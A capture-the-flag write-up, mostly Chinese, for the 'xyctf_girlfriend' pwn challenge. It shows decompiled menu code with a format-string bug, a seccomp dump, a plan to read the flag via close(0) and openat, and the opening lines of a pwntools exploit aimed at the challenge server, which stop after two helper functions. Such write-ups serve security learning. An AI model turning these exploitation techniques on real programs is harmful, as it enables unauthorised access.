v6 = __readfsqword(0x28u); sub_1309(a1, a2, a3); sub_1372(); sub_14F6(); for ( i = 0; i <= 5; ++i ) { sub_1519(); switch ( sub_157C(v5) ) { case1: sub_15C9(); sleep(1u); break; case2: sub_1678(); sleep(1u); break; case3: sub_1708(); sleep(1u); break; case4: sub_179B(); sleep(1u); break; case5: puts("BabyShark will be very sad....."); exit(0); default: puts("no no no...."); exit(0); } } return0LL; }
菜单
1 2 3 4 5 6 7 8 9 10 11
__int64 sub_1519() { puts("I will give you some options:"); puts("1. GirlFriend!!!"); puts("2. BuyFlowers"); puts("3. Reply"); puts("4. SingSongs"); puts("5. I don't care"); puts("Your Choice:"); return0LL; }
v2 = __readfsqword(0x28u); if ( dword_4094 ) { puts("You have already tried to talk to her, and she left..."); } else { dword_4094 = 1; puts("Girl is very beautiful!"); puts("what do you want to say to her?"); read(0, buf, 0x50uLL); printf("You say: %s\n", buf); puts("but she left........."); } return0LL; }
puts("Do you want to buy her flowers?"); puts("Y/N"); v1 = getchar(); while ( getchar() != 10 ) ; if ( v1 == 89 || v1 == 121 ) { if ( dword_4090 <= 200 ) { puts("you don't have enough money"); } else { puts("You did it!\n"); system("echo /flag"); } } else { printf("what a pity!"); } return0LL; }
选项3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
__int64 sub_1708() { if ( dword_4098 <= 1 ) { ++dword_4098; puts("You should tell her your name first"); read(0, byte_4060, 0x100uLL); puts("your name:"); printf(byte_4060); puts("You also get her name: XM"); puts("Good luck!"); } else { puts("You can only introduce yourself twice."); } return0LL; }
看到第二个选项,一看可以直接echo /flag,还有这种好事?马上通过选项3修改dword_4090的值大于200,然后发现输出了You did it!\n却没有flag 接着发现程序开启了沙箱(悲),禁用了系统调用和open函数并且使⽤read函数的时候第⼀次参数只允许为0,所以这⾥我们需要close(0)之后再调⽤openat打开flag⽂件进⾏读取,否则⽆法使⽤read读取,具体如下所示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
$ seccomp-tools dump ./pwnpwn/xyctf_girlfriend line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0c 0xc000003e if (A != ARCH_X86_64) goto 0014 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x09 0xffffffff if (A != 0xffffffff) goto 0014 0005: 0x15 0x08 0x00 0x00000002 if (A == open) goto 0014 0006: 0x15 0x07 0x00 0x0000003b if (A == execve) goto 0014 0007: 0x15 0x06 0x00 0x00000142 if (A == execveat) goto 0014 0008: 0x15 0x00 0x04 0x00000000 if (A != read) goto 0013 0009: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count) 0010: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0014 0011: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count) 0012: 0x15 0x00 0x01 0x00000000 if (A != 0x0) goto 0014 0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0014: 0x06 0x00 0x00 0x00000000 return KILL
from pwn import* context.os='linux' context.arch='amd64' context.log_level='debug'
r=remote('gz.imxbt.cn',20331) libc=ELF('./libc.so.6') elf=ELF('./xyctf_girlfriend') deftalk(content): r.sendlineafter(b'Your Choice:\n',str(1)) r.sendafter(b'what do you want to say to her?',content)
defname(myname): r.sendlineafter(b'Your Choice:\n',str(3)) r.sendafter(b'You should tell her your name first\n',myname) r.recvuntil(b'your name:\n')